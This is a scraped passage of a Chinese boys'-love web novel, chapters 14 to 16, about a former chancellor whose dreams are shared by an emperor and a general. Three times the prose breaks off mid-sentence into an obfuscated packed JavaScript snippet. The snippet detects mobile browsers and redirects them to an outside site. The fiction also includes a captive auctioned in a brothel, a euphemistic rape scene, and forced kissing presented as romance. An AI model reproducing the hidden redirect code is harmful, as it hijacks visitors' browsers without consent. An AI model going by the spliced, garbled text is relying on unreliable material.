l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027596|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你……可否回避一下?” 萧寒笑着点头,转过身去。 楚晏仍是顾虑:“你能出去吗?” “好,那老师有事叫我。”萧寒说完,走出去带上了门。 萧寒在外面站了一会儿,听到楚晏的声音:“我需要一盆水,放在门口,你不用进来。” 他召唤小厮打来一盆水,“老师,水到了。”说完,打开门放进去。 又等了一会儿,他问:“老师,你好了吗?” 他听到里面答:“好了。” 他勾起唇角:“老师,衣服到了。” 楚晏心里一松,裹好被子,“送进来吧。” 而后看见萧寒开门走进来,却没看到衣服,心中奇怪,便问:“衣服呢?” 萧寒道:“不急,你在床上躺了一天,我先抱你去沐浴,祛祛病气,再换衣服去吃饭。” 萧寒一提,楚晏便觉腹中空空,已经饿极了。 可是……萧寒抱自己去沐浴,他总觉得心里很慌,梦里萧寒没少借着沐浴的机会欺压他。 思虑间,萧寒已经走到床边张开双臂欲抱他,楚晏本能地往后一躲。 萧寒眼中划过一丝受伤之色:“老师很怕我?” 楚晏顿了一下,否认:“我……没有。” “那就好。” 萧寒伸手将人连着被子抱起来,许是被子没裹好,露出一截莹白如玉的小腿,他眼神一暗,将被子掩了掩,抱着人走出去。 萧寒抱着楚晏走进了楚晏平时沐浴的房间,只听怀中人道:“我自己洗,你出去吧。” “好。”萧寒应了一句,将楚晏轻柔地放下在椅子上,给他指了旁边放得整整齐齐的白衫,凤目中流淌着柔情:“老师,我就在外面,有什么事叫我。” 萧寒的举动谦和有礼,楚晏为自己之前的想法自责,有些不好意思如此麻烦他:“你忙你的,不用管我。” 萧寒摇头,认真地看着他:“在我这里,老师的事情是第一位的。” 那凤目中含着的情意让楚晏一怔,萧寒是不是也…… 还未待楚晏多想,萧寒便走出去。 楚晏沐浴过后穿上萧寒为他准备好的白衫走出去。 萧寒看见他,眼前一亮。 眼前人一身白衣,长长的墨发束起,皮肤白皙温润,散发着柔和如玉的光芒,美丽的眼睛如一潭蔚蓝澄净的湖水,不经意望过来,心顿时激起片片涟漪。 白衣卿相,倾国倾城。 萧寒优雅地为他引路:“老师,晚饭已为您备好,随学生来吧。” 萧寒带楚晏来到了楚晏的房间门口:“老师,这是学生精心为您准备的,您看看合不合胃口。”说着,推开了门。 楚晏走进来,看到桌上的菜时,怔住了。 奶汁鱼片、糖醋鱼卷、荷花酥、莲子膳粥…… 全是他爱吃的。 与梦里秦冲破了宫门他们吃的最后一顿晚宴一模一样。 那天萧寒按着他做了很久,命人布了菜,抱着他坐下亲自喂他吃,宫人慌乱地闯进报宫门破了,萧寒挥退了宫人,扳起怀中任的下巴问:“他来了,你高兴吗?” 楚晏垂下眼眸,他已经如此,秦冲还会要他吗? 忽然听到萧寒说:“朕不后悔。” 楚晏抬眼,看见萧寒眼里的坚定:“如果重来一次,朕还是会这样做。” “我不后悔,拥有你十三年。” “可唯一遗憾的是,没能拥有你的心。” “答应我,不要忘了我,如果有来生,我还要来找你。” 萧寒说完,坚定地在他唇上印下一吻,而后为他整理好衣服,放开他站起来,那背影孤独而落寞。 “从今往后,你自由了,去找他吧。” 梦境与现实交错,待他回过神来时,看见青年眼里的深情:“我说过,如果有来生,我还要来找你。” 他心头巨震,忽然明白了什么。 就在这时,锦衣华袍的青年撩袍跪下,郑重而坚定地看着他:“老师,我知道你喜欢秦冲,但请你给我一个机会,我不是梦里那个暴虐的皇帝,是尊重你,爱惜你,想要给你幸福的萧寒。” “你喜欢吃的,我叫人给你做;你想要游山玩水,我陪你;你有宏图抱负,那大越的朝堂便任你挥毫!总之,一切你想要实现的,我都会帮你实现。” 青年的目光深情而恳切:“老师,跟我回长安吧,我会让你成为大越最好的丞相,大越最幸福的皇后。” 38.第十五章 这番话可以算得上是惊世骇俗,他一个男子,萧寒竟想让他做皇后?可让他更震惊的是,“你为什么也会做这个梦?” 萧寒道:“我也不知道,数月来朝中派系倾轧,我应付起来左支右绌,于是便想到了老师你,决定亲自来沂水找你,路过湘州的时候做了这个梦,醒来就快马加鞭地来找你。 “虽然那只是个梦,可我对你的感情是真的,老师,学生倾慕你,希望你回朝继续做丞相,也做我的皇后。” 楚晏避开萧寒深情的目光,“那你怎么知道我也做了这个梦?” “我也不确定,但我的直觉告诉我,见你的第一眼,你的反应告诉我,你很可能也做了这个梦,后来我用棋具试你,我便更加确信你做了这个梦。老师,我是真心……” 楚晏打断他:“你可知道,秦冲也做了这个梦?” 萧寒一顿,“那又如何?” 楚晏问:“你不觉得这一切很蹊跷么?” “是很蹊跷,但对我而言,更重要的是老师你,老师,跟我回长安吧。” 青年又用那种深情而恳切的目光看着他,楚晏避开那目光:“朝堂派系倾轧只是个借口吧,没有我,你自己会管理得更好,你登基的这几年,国库愈发富庶,兵力愈发强劲,国泰民安,百姓安居乐业,你是个好皇帝,我却不是当初那个楚相了。” “长安,我是不会再回去了,更不可能……做你的皇后。” 萧寒激动得一把握住他的肩膀:“不!我需要你!大越更需要你!” 楚晏严厉地看着他:“萧寒,你不是小孩子了,我不可能永远陪着你。” “不是小孩子了?”萧寒笑了一下,盯着他问:“是因为秦冲吗?” 楚晏一怔。 “你喜欢他,所以抛弃我?” 那双凤目中充满了受伤之色,仿佛在无声地控诉他。 “我十二岁的时候,因为没背好书被打手板,你走过来为我求情,让我免了一顿手板,那个时候我在想,这个神仙哥哥是谁啊?后来一打听,原来是新科的状元郎,我便求父皇要你教我,这一教,就是五年,直到你辞官,你那么绝情,将我一个人留在冰冷的皇宫里……你知道吗?你走之后,我去追你,结果被父皇发现抓回来,关在暗无天日的屋子里五天五夜。后来父皇不在了,我的三个兄弟要夺我的皇位,他们对我进行了无数次的刺杀,可我都活下来了,你知道为什么吗?” 萧寒说到这,凤目灼灼地看着他,楚晏忽然知道他想要说什么了。 青年眼中既坚定又深情:“因为只有活着,才能再见到你。” “我好不容易登基,朝中那帮老臣见我年轻处处为难我,如今我培养了一些自己的势力,才敢来找你。” “立你为后是我深思熟虑后的决定,我不怕千万人阻挡,只怕你不要我。” 望着他的那双凤目那么亮,好像承载了所有的希望,倾其所有,孤注一掷。 楚晏避开他的目光,“对不起……我不能答应你。” 萧寒眼里的光亮一点一点暗了下去,拳头不自觉握紧,不甘地问:“你对我如此严苛,一点机会都不给我……秦冲到底哪里好?我到底哪里比不上他?” 楚晏叹了口气:“感情是强求不来的。” “回去吧,好好做你的皇帝,日后如果有机会……”他说到一半,萧寒突然伸手,一把揽住他,深深在他唇上印下一吻。 他还在怔愣中,萧寒已经放开他,凤目中是得逞的笑意:“老师的嘴唇果然是甜的。” 楚晏无法理解他的做法,又惊又臊:“你……” 青年弯了弯唇:“明明梦里拥有了你那么多次,好不容易来这一趟,不亲这一下我不甘心,我会回去,但是我不会放弃,只要你肯,皇宫的大门随时为你敞开。” “这个还给你,好好保护自己。”萧寒说着,张开手掌,掌心里静静躺着一枚碧绿莹透的龙形玉哨,那是他的玉龙哨。 楚晏接过来,望着他,万千情绪汇成一句:“你也好好保重。” 萧寒点点头,转身推开门走了出去。 楚晏望着一桌菜发了会儿呆,提起筷子吃了没几口,就听见外面传来秦冲骂骂咧咧的声音:“什么知府病了?都是那皇帝小子设的计!” 没一会儿,他的房门被推开,秦冲冲进来,一脸紧张地握住他的肩膀:“对不起我回来晚了,那小子没对你怎么样吧?” 楚晏摇头:“没有。” 秦冲孤疑地四处张望:“那小子人呢?” 楚晏道:“他走了。” “走了?” “回京城了。” “回京城?”秦冲似乎无法理解,“他就这么回去了?没对你怎么样?” 楚晏摇头:“没有。” 秦冲看着他,忽然露出一种痛心的表情:“你是不是已经被他……不好意思告诉我?” 楚晏无奈地笑了:“没有,你不要多想了。” 秦冲还是不信,转身走到门口打开门大着嗓门喊:“阿昭你人呢?给老子滚过来!” 浓眉大眼的小伙子一溜烟跑过来:“爷您有什么吩咐?” “我让你看着那皇帝小子,我走之后那皇帝小子都对楚掌柜干什么了?给我一五一十地说出来!” 阿昭一脸苦相:“爷您可别提了,您刚走我就被皇上轰出去了……” 秦冲气得竖起眉毛:“嗯?他轰你你就出去?你把我的话当什么?我看你是找打了吧?”说着,扬起手就要打。 阿昭身子一矮,忙道:“爷!爷您别急!我和禾玉都在门口听着呢,听到了很多……”阿昭说到这里,故意停住,向楚晏望过来,小心翼翼地问:“楚掌柜我都能说吧?” 楚晏心头一跳刚要说什么,秦冲看到楚晏心虚的表现,一下子来了劲:“你问他干什么?看到什么听到什么了,一字不落地给老子说出来,要是被老子知道你少说一个字看老子怎么教训你!” 楚晏冷下脸来:“你为难他做什么?我与皇上什么都没发生,你爱信不信,我是病人,需要休息,请你出去。” 秦冲挑眉看他:“既然什么都没有发生你赶我走做什么?不如听阿昭说完再休息也不迟。” 楚晏冷冷道:“我不想听,你出去。” 秦冲微微一笑:“听完我就出去。”而后看向阿昭,冷声命令道:“阿昭,说!” 阿昭一个激灵,赶紧道:“爷您走之后,我就被皇上赶了出去,看见禾玉,他也担心楚掌柜,就和我一起守在外面,我俩在外面守了很久,才看见皇上走出来,手里还拿着楚掌柜的衣服……” 秦冲立刻看向楚晏:“他给你脱衣服了?” 楚晏脸上一热,道:“我生病了出了很多汗,他帮我换了衣服。” 秦冲一下子急了:“他摸了你没有?” 楚晏一顿,脸上更热了,“只是单纯的换衣服而已,你不要瞎想。” “你那会儿昏迷着呢你怎么能知道,他一定摸了!这个臭小子,老子要去找他算账!”秦冲气得抬腿就要冲出去。 阿昭叫住他:“爷您还没听完呢!你等我说完你再一起去!” 秦冲想想也是,走回来命令阿昭:“你继续说!” “我和禾玉看见皇上把楚掌柜的衣服递给了他的小厮,然后我看见皇上去了厨房,我俩在外面守了一会儿,又看见皇上端着药出来,我俩就悄悄跟着他回到了楚掌柜的房里。我俩继续在外面守了一会儿,又看见皇上出来叫他的小厮送来一个恭桶,不一会儿,皇上出来了,又叫人送进去一盆水,我觉得楚掌柜那会儿可能是要如厕。” 秦冲气儿顺了一些:“算这小子识相,还知道要出来,他要是在屋里,看老子收拾不死他!” “……”楚晏在心里翻了个白眼,并不想对秦冲这种幼稚的行为作评价。 阿昭继续道:“后来皇上进了屋子,然后我俩看见他抱着裹着被子的楚掌柜出来……” 秦冲顿时一惊一乍的,看着楚晏问:“他抱你了?他抱你去哪儿了?” 楚晏面色平静:“他抱我去沐浴。” 秦冲又抓狂了:“抱你去沐浴?他碰你没有?” 楚晏道:“没有,我沐浴的时候他出去了。” 秦冲又向阿昭确认:“真是这样?” 阿昭点点头,秦冲这才放下心来:“算这小子识相……” 阿昭知道自家爷又要开始絮叨了,赶紧道:“哎哎!爷您别说了,听我说。” “哎我说你小子能耐了啊……”秦冲刚要来劲,听见楚晏凉凉的一句:“秦冲。” 秦冲摆摆手:“好好好,你说你说!” “谢楚掌柜!楚掌柜好人呐!”阿昭吐了吐舌头,继续道:“我俩听见皇上吩咐人给楚掌柜准备晚饭,然后皇上带着沐浴好的楚掌柜回来房里,我俩见外面没人,就趴在门口听,因为隔了门,也没听太清楚,反正,我记得当时听到一句,皇上要娶楚掌柜做皇后!” 秦冲瞪圆了眼睛看向楚晏:“他要娶你做皇后?” 阿昭赶紧补上一句:“爷您别急,楚掌柜没答应他!” “中间说什么我俩没听清楚,后来我俩又听到一句皇上说了一句什么老师的嘴唇是甜的,又听见楚掌柜说你也好好保重,后来就看见皇上出来了……” 阿昭说到这,观察到自家爷阴沉的脸色,知道自家爷又要发怒了,瑟瑟地开口:“爷,我看到的听到的都说完了,爷您和楚掌柜你俩好好聊吧我就不打扰了!”他飞快地说完,转身跑出去并带上了门。 屋里,秦冲沉着脸问:“他亲你了?” 楚晏沉默,秦冲攥紧拳头,努力压制自己即将爆发的怒火:“你为什么让他亲你?” 楚晏抬眼,那双美丽的眼睛里写满了不耐:“与你何干?” 这一句彻底点燃了秦冲的怒火,一把将人拉过来捧着脸就亲了下去。 他亲得又急又凶,仿佛要将人吞进肚子里,楚晏本能地伸手推拒,却被秦冲一把攥住。 那双猎鹰一般锋利的眼睛牢牢抓着他,浓重的呼吸喷洒在他鼻间:“你留下来,是不是因为我?” 被这样盯着,楚晏不想回答,奈何手被人紧紧攥着,他偏过头垂下眼:“跟你没有关……”他还没说完,下巴被人猛地抬起来,两片薄唇顷刻便压了下来。 一阵激烈又缠绵的吻后,他与他额头抵着额头,浓烈地喘息着:“还敢不敢说跟我没有关系?” 楚晏压着火气低喝:“秦冲!你不要欺人太甚!” 男人低低地笑了:“就欺负你了怎么着?你敢叫别人亲你,我就亲到你双腿发软向我求饶叫我好哥哥。” “滚!” 楚晏气得一巴掌打过去,却被秦冲一把攥住,眼睛牢牢锁着他,“还敢不敢?嗯?”那声音深沉又沙哑,好似在压抑着什么。 楚晏陷入了困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037741|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局,却又不肯轻易就范,就在他焦急地想解决办法之时,脑中忽然灵光一现:“你可知道,萧寒也和我们做了一样的梦?” “他也做了这个梦?”秦冲一怔,楚晏趁机从他怀里挣脱开来。 楚晏点头:“他要请我回去,路上做了这个梦。” 秦冲懊恼地抓头:“这到底是怎么回事?这些梦究竟是什么意思?” “我也想不明白。” 楚晏摇头,陷入了苦苦思索中。 秦冲、萧寒,一个是才认识不久的将军,一个是曾经教过的皇帝,共同点是……都喜欢他? 难道……他要与喜欢他的人梦境相通? 如果说喜欢他就要与他梦境相通,那么萧玦为什么没有? 究竟为什么会梦境相通? 秦冲没有想那么多,他只是认真看着眼前的人,皮肤那么白,眼睛那么美,就连蹙着的眉头也是他喜欢的模样。 心念到此,他伸手一把将人搂进怀里,“不管怎么样,我都会保护你,别怕。” 面前宽阔的臂膀仿佛有种温暖人心的力量,心中的那些纷杂的情绪也没有那么困扰了,楚晏缓缓开口:“你也……保护好你自己。” 定了定心神,“我留下来的原因……”还没待他说完,脑袋忽然一晕,倒了下去。 “楚掌柜!你怎么了?”秦冲一惊,摸了楚晏额头滚烫,一把将人打横抱起来放到床上,叫来禾玉照看楚晏,自己去厨房煎药。 他端着药回来,禾玉识相地自动出去带上门。 他坐到床边,将人扶起来,舀了一勺药喂进楚晏口中,奈何人还昏迷着没有意识,汤药全都顺着嘴角流了出来。 “反正亲也亲过了,你就是我的人了,这么做不过分。”秦冲望着药碗,嘀咕了一句之后,自己喝了一口药,扣着楚晏的后脑勺,贴着他的嘴唇,撬开齿关,将汤药抵着他的喉咙推了进去。 见有了效果,秦冲又喝了一口药,刚贴上楚晏的嘴唇,打算喂第二口的时候,怀里的人忽然剧烈挣扎起来,怎么也不肯让他亲,口中不断呓语:“放开我!别过来!” 秦冲只好把碗先放在一边,拍着他的背安抚他:“别怕,是我,我是秦冲……” 楚晏听不到他的声音,沉迷在自己的世界里,“求求你们,放过我……放过我……”说着说着,两行泪就流了下来。 秦冲又心疼又疑惑:“谁不放过你?你梦见什么了?” 怀中人不回答他,只是无声地落泪。 秦冲也不问了,心疼地把人搂在怀里,“别怕……别怕……那只是梦……只是梦……” 他说着说着,忽然想到两人梦境相通的事情,喃喃自语道:“如果真的能梦境相通的话,就让我去陪你吧,我说过要保护你的……” 这样说着,意识越来越迷糊,最终陷入了黑暗。 “二十多岁的人了,活都干不好,难怪找不着媳妇儿……” “爷,他们都看不起咱……” “看不起就看不起!走!爷带你去参军!等咱当了将军了,叫他们都跪在地上叫咱爷爷!” 那是他二十岁的时候,在村里下田给人家干苦力,不小心把人家的地给犁毁了,被人家抓着赔了所有家当。 他爹娘死得早,家当都赔了,于是就背着包袱带着阿昭两个人离开家乡塘关来到了离塘关最近的湘州城。 那是他们两个第一次进城,什么都没见过,在大街上逛了好久。 家当都赔给人了,兜里没钱,两个人饥肠辘辘地看着人家刚出锅的热腾腾的包子流口水。 那摊主是个好心人,给了他俩两个包子,他俩拿过来就啃,吃得正香的时候,迎面走过来两个有说有笑的人。 “哎,听说了么?琼华楼最近来了一个绝色美人,叫什么晏公子的,今晚是他的□□之夜,咱们去瞅瞅啊!” 晏公子?秦冲神经一跳,扔了包子抓着说话那人就问:“琼华楼在哪儿?” 那人被秦冲的举动吓住了:“你……你要干什么?” 秦冲心中火烧火燎,瞪着他就吼:“我问你琼华楼在哪儿?!” 那人被秦冲的凶相吓得一个激灵,颤颤巍巍地指:“就那条街往前走第三个路口,第一个就是琼华楼……” 那人话刚说完,秦冲撂下人转身就走。 还没搞清楚状况的阿昭追上去:“哎!爷您要干什么去啊?等等我!” 秦冲冲进琼华楼,只见人群嘈杂,台子上站着一个打扮得花枝招展老鸨打扮的女人挥舞着小手绢笑得花枝乱颤:“哎哟!谢谢各位爷来捧场,我们琼华楼最近来了一个绝色美人,想必各位爷都知道了吧?各位爷一定想知道这位绝色美人到底长什么样?现在,我就把他请出来。” 底下有好事的人吹着口哨:“请出来!请出来!” 老鸨大着嗓门喊:“大家安静一些!美人儿要出来啦!” 大家屏住呼吸,首先听见链子摩擦地面的清脆声响,只见两个彪形大汉推着一个戴着白色纱帽的白衣男子走上来,男子身形清瘦,手上和脚上戴着精细的银链子,走路的时候,链子便随着叮铃作响,只可惜这男子头上戴着纱帽,整张脸被纱帽遮住,看不见他长什么样。 底下有人不满意了:“怎么还带着帽子啊,不让我们看是怎么地?” 老鸨赔着笑脸:“别着急,这就给你们看!”说着,走到男子面前,一把掀起了他的纱帽。 39.第十六章 看清男子容貌的同时,全场人忍不住倒吸一口凉气,太美了! 男子头顶簪着一根素雅的树枝,其余如瀑般散落下来,皮肤白皙,如羊脂玉一般细腻光滑,眉毛长而浓密,眉峰锋利,像用最好的工笔描绘出来的一般,鼻梁秀挺,嘴唇很薄,是淡淡的粉色,整个五官美得像画里的人一样,唯一可惜的是,长长的睫毛垂落下来,遮住了那双眼里的美景。 仿佛隔着雾看美人,心痒痒得不过瘾。 有人起哄:“美人儿怎么不高兴啊?抬起头给我们看看啊!” “低着头做什么?抬起头给各位爷看看。” 老鸨走过去欲抬他的下巴,男子倔强地把头一偏,老鸨狠狠把他的头扳过来,一双美丽又忧郁的眼睛就那么望进了众人心底。 那双眼睛就像一片澄澈静美的湖泊,带着一点忧郁的蓝色,仿佛眨一眨,天上的星星也要给他摘下来。 美人一身白衣站在台上,手腕脚腕上戴着的银链子,仿佛一个不小心坠落凡间被缚住的仙人,飘摇在朦胧风雨中,等着你去解救、去怜惜。 底下的人都看呆了,有文人当即挥毫为其写了首赋,誉其为天下第一美人。有画师当场开始作画,誓要将这天下第一美人的美貌画下来。 老鸨对众人的反应很满意,掐着嗓子笑道:“这位美人叫清晏公子,今天晚上就是他的开k苞之夜,起价一百两,没有上限,哪位爷出的钱多,就能与这位美人春风一度。” 老鸨话音刚落,立刻就有人道:“我出二百两!” 一个华服公子哥儿喊道:“五百两! 一个财大气粗的大肚老爷直接道:“一千两!” 华服公子哥儿较上了劲:“一千五百两!” 大肚老爷也来了劲:“两千两!” 即使来这里的都是些达官显贵,但两千两对于他们来说也不是小数目,华服公子哥儿的钱都是父亲给的,两千两已经是他的极限了,他暗暗握了握拳,无奈地放弃了。 秦冲在底下心急如焚,他身无分文,眼看着心爱的人被拍卖,他奋力挤到前面叫他:“楚掌柜!楚掌柜!” 那双美丽的眼睛终于望过来,望着他的眼神却很陌生,还没待他反应过来,美人旁边两个彪形大汉发现了他:“哎!那个人!你干什么的?!” 一个大汉走到老鸨身边告密:“老板娘,这个人意图不轨。” 老鸨一瞪眼:“打出去!” 随即又从里面走出来四个彪形大汉将秦冲团团围住,秦冲这时候还没到军营历练,赤手空拳对付四个人有些吃力。 老鸨压根就没把秦冲这边当回事,继续挥舞着小手绢,“李老板出两千两,还没有人出更高了?” 这时,从楼上传来一个声音:“五千两!” 众人寻声看去,湘州城首富郑老板坐在二楼的雅座上,拍着大肚子,一双小眼睛色眯眯地看着底下台上的白衣美人。 首富都出手了,没有人能出得更多了,“还有没有比郑老板出得更多了?如果没有,那我们清晏公子的初夜就是郑老板的了,五千两一次,五千两两次,五千两三——” 楼上传来一个浑厚的中年男音:“一万两!” 一万两!众人倒吸一口凉气,五千两已经够高的了,竟然还有人出一万两,连郑老板都忍不住好奇,出这一万两的人到底是谁。 一个华袍男子从二楼一处房间里走出来,男子面容英俊,浓眉似剑,蓄着胡须,浑身上下散发着一种威严的正气。 底下台上的白衣美人在看见男子的同时,美丽的眸子染上了一层喜色,南陵王,是来救他的吗? 老鸨听到楼上男子出一万两,心道总算是来了,配合地道:“这位爷出一万两,还没有比一万两更高的了?” 众人不禁看向二楼的首富郑老板,郑老板也没了之前悠闲的心情,五千两已经是他的极限了,身为湘州城首富,他还有一大家子人要养活,还有很多生意需要钱来运作,再多他真的拿不出来了,他以为出了五千两一定没人跟他抢,可谁知人算不如天算,看了又看底下的美人,只能忍痛放弃。 “一万两一次,一万两两次,一万两三次!” 老鸨看了看台下,没有人再说话,欢喜地道:“我们清晏公子的初夜就是这位爷的了!” 只听得老鸨喊完,这位绝色美人的初夜就这样拍板敲定了。 众人唏嘘又艳羡,这样的绝色美人,竟要万两银子一夜,普通人是享受不起啊! 就在两个大汉押着白衣美人要走上楼的时候,那边的秦冲一下子挣脱开四个大汉的桎梏,冲到白衣美人面前:“楚掌柜!楚晏!你不能跟他走!你还记得我是谁吗?” 白衣美人讶然:“你知道我的名字?” 他辞官之后被之前的对手王太师记恨,叫人迷晕了隐藏了身份卖到这个偏远小城,除了朝堂上,不会有人知道他的身份,这个人为什么会知道呢? 眼前这个人给他的感觉很熟悉,好像认识了很久一样,但是记忆里他从未见过这个人:“你是谁?” 这个人竟然知道楚晏的名字,太师特意交代不能楚晏的身份败露,好在没几个人注意到,老鸨气急败坏对着秦冲就骂:“这是我们的清晏公子,你这个穷鬼竟然癞蛤蟆想吃天鹅肉!”说着,转头对着之前的四个大汉道:“你们还愣着干什么?把他给我打出去!” 几个大汉摩拳擦掌地走过来,秦冲焦急地喊:“楚掌柜!我是秦冲!秦冲啊!” “我们第一次见面是在你的客栈,你忘了吗?” “你生病晕倒了做噩梦,我们梦境相通,我来找你了!” 楚晏浑身一颤,只觉得冥冥之中自己很那个人一定有什么联系,老鸨冷着脸命令着楚晏旁边的两个大汉:“给我把他送到楼上去!” 秦冲被四个大汉拦住他去路,眼睁睁看着人被架走。 两个大汉架着楚晏来到二楼一处房间门口,敲了敲门:“爷,人给你送到了。” 里面说了声:“进来吧。”两个大汉打开门把楚晏推了进去。 楚晏被推得一个踉跄,华袍男人快步过来扶着他:“没事吧?” 楚晏摇摇头:“你怎么知道我在这里?” 华袍男人扶着他到桌前坐下:“你辞官之后就杳无音信,我觉得不对劲,就派人去调查,结果发现你被王太师的人迷晕了卖到这里,我就来找你了。” 说着,神色复杂地看着他,“你在这儿吃了不少苦吧?他们有没有对你……?” 楚晏垂下眼眸,小扇一般卷翘的睫毛挡住了那双美丽的眼睛,失落的神情格外惹人怜惜:“刚到这里的时候,他们要对我用强,我以死相逼,他们便罢手了。” 华袍男人一脸怜惜:“你受苦了……” “没事,都过去了。”楚晏抬头,感激地望着他:“谢谢你,这一万两,我会还你的。现在我们应该怎么逃出去?” 华袍男人没有直接回答他的问题,反而抚上他手腕上的银链:“这链子材质特殊,没有钥匙是打不开的。” “钥匙在老板娘手里,你有办法拿到吗?”那双美丽的眼睛满怀期待地望着他。 华袍男人忽然道:“我不能带你走。” 楚晏不明白:“为什么?” “你方才不是听到了吗?我出了一万两,买了你一夜。” 华袍男人的手在他手腕的肌肤上暧昧地游走,望着他的眼神灼热又深沉,迷恋又贪婪,楚晏猛地抽回手站起来:“你在说什么?我听不懂。” 华袍男人笑了:“楚晏,我不是个正人君子,当初同朝为官的时候我就想要你了,可惜我当时常年在这边戍边没什么机会,如今王太师将你卖到这里,我与他合作,他就把你送给我,我的营地就在这不远,只要我想要你,随时都可以来。”说着,一把搂住了他的腰。 楚晏恨声挣扎:“萧弈,我没想到你是这样的人!放开我!” 怀中人身上的冷香让人迷醉,萧弈尽情地厮磨着他白皙滑嫩的面颊,“现在知道也不晚,来,宝贝儿,让我亲亲你……”说着,扳过他的脸亲了下去。 “你滚开!” 楚晏不停地闪躲怒骂,萧弈没了耐心,直接将人打横抱起来扔到床上。 楚晏本能地向后躲去,男人很快压了上来,黑暗覆盖了他。 那一瞬,他忽然想起来先前楼下那个只有一面之缘的男人,会不会来救他? 可是终究什么也没有。 随着动作美人手脚的银链子铃铃作响,犹如一朵风雨中被人蹂r躏的花。 男人精力十分旺盛,楚晏晕了又被弄醒,两人一直折腾到后半夜才将将停歇。 男人抱着怀中美人,心满意足地睡了,第二天早上醒来又忍不住弄了一会儿。 被昔日对手卖到烟花之地,被曾经最信任的朋友凌辱,楚晏已经麻木了。 美人闭着一双长睫,白皙的脸上是情q欲的晕红,像一朵被强行打开承受着雷霆雨露的脆弱花儿。 在男人看来,是最好的催c情药,忍不住亲了又亲,恋恋不舍地结束,“我要走了,明晚再来找你。”吮吸了一下那柔软的唇瓣,整理好衣服简单洗漱了一下走出门。 楚晏躺在床上,怔怔地出神,窗户那边忽然传来响动,一个人跳了进来。 他惊得披衣坐起来:“什么人?!” “嘘……是我!” 待楚晏看清,是昨天那个男人,不过看起来有些狼狈,脸上青一块紫一块的,肩背处还染了一大片血迹。 楚晏迟疑了一下,“你是谁?进来做什么?” “我是秦冲啊!我昨天就想来找你,你们老鸨派人把我给打出去了,我还想进来,你们老鸨就派人看着我,到今天早上才走,我这不找到机会就来找……”男人说着,注意到楚晏只松垮地披了一件外袍,白皙的胸膛上点点红痕触目惊心,一时间又自责又懊悔,“你已经被他……对不起,我来晚了……” 楚晏掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044189|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了掩衣襟,垂下眼眸,“不关你的事,你走吧。” “我去给你报仇!”秦冲攥紧拳头,转身就走。 “你等等!”楚晏叫住他,“我们从前认识吗?你为什么要给我报仇?” “还有你昨天说的梦境相通是什么意思?” 秦冲一拍脑袋,安慰他:“你不要怕,你现在只是做梦,醒了就好了。” 楚晏第一次听这个说法,觉得很神奇:“做梦吗?那现实的我是什么样的?” 秦冲想了想,道:“你辞官之后去了江南沂水开了一家客栈,养鸟养花看小说……” “真美好啊……”楚晏听着,眼中充满了憧憬与向往。 “所以啊,你现在什么都不要怕,有我在,我会保护你的!”秦冲拍着胸脯,爽朗地笑着。 楚晏恍惚回神:“你?现实中我和你认识吗?” “那当然了!”秦冲给他解释,“我本来是一品飞龙将军,被那个忘恩负义的皇帝小子贬来沂水做了都督,来到你的客栈,遇见了你,我们俩做了几次同样的梦,之前梦里你还被皇帝小子给那什么了,然后醒了啥事没有!” 如果真是做梦的话,那就太好了,他没有被卖到这里,也没有被南陵王凌辱,一切可期……楚晏想着,又抓住了一个关键,“我们为什么会做同样的梦?” 秦冲挠了挠头:“我也不知道,你说你也想不通,总之你就什么都不要担心,再苦也只是一场梦,就算不是,也有我陪着你呢不是!” 秦冲话语中的熟稔不禁让他一怔,“你陪着我……现实中我和你……是什么关系?” 秦冲脱口而出:“我喜欢你,你……”小心地看了他一眼,“你也喜欢我!” 楚晏一怔:“我喜欢你?” 反正亲也亲了,既然是做梦,那他就随便说了!于是,秦冲不害臊地点了点头:“是,你喜欢我!” 现实中……他喜欢这个男人?这个说法他好像不排斥,但是,总觉得哪里不太对…… 这时,门外忽然传来敲门声:“公子,该洗漱了。” 楚晏一惊,秦冲忽然握住他的双手,眼神深邃而坚定:“别管了!我带你走!” 走?他真的可以走么?楚晏一怔,低头看到自己手腕上的银链,瞬间摇头道:“不行!这不现实!” “怎么不现实?我要带你走!我再也受不了你被别人……”秦冲说到这里,露出一种痛心的神情。 “公子,再不开门我们就踹了!”外面敲门声越来越急,楚晏焦急道:“来不及了!这事再说吧!你先去床下躲躲,我一会儿支开他们跟他们去沐浴,你趁机出去。” 秦冲还要再坚持:“不行!你……” “求你了!” 那双美丽的眸子氤氲了些水汽,叫人看着心疼。 “那你好好保重自己,我会再来找你的!”秦冲不再坚持,嘱咐了一句,身子一矮钻到了床下。 楚晏迅速走过去打开门,三个小厮站在门外,带头那小厮身材略矮小一些一脸刻薄相,身后跟着两个高大一点的小厮,一个端着盆,一个拿着毛巾。 带头那小厮不耐烦地道:“怎么这么久才开门?” 楚晏垂下眼睫:“我昨天累着了,行动不太方便。” 带头那小厮看到他身上的红痕,幸灾乐祸地道:“哟!是累得不轻,南陵王很勇猛吧?谁能想到大越曾经风光无比的楚相,竟然沦落青楼被人……” 那双美丽的眸子忽然利剑一般射向他:“你说够了没有?” 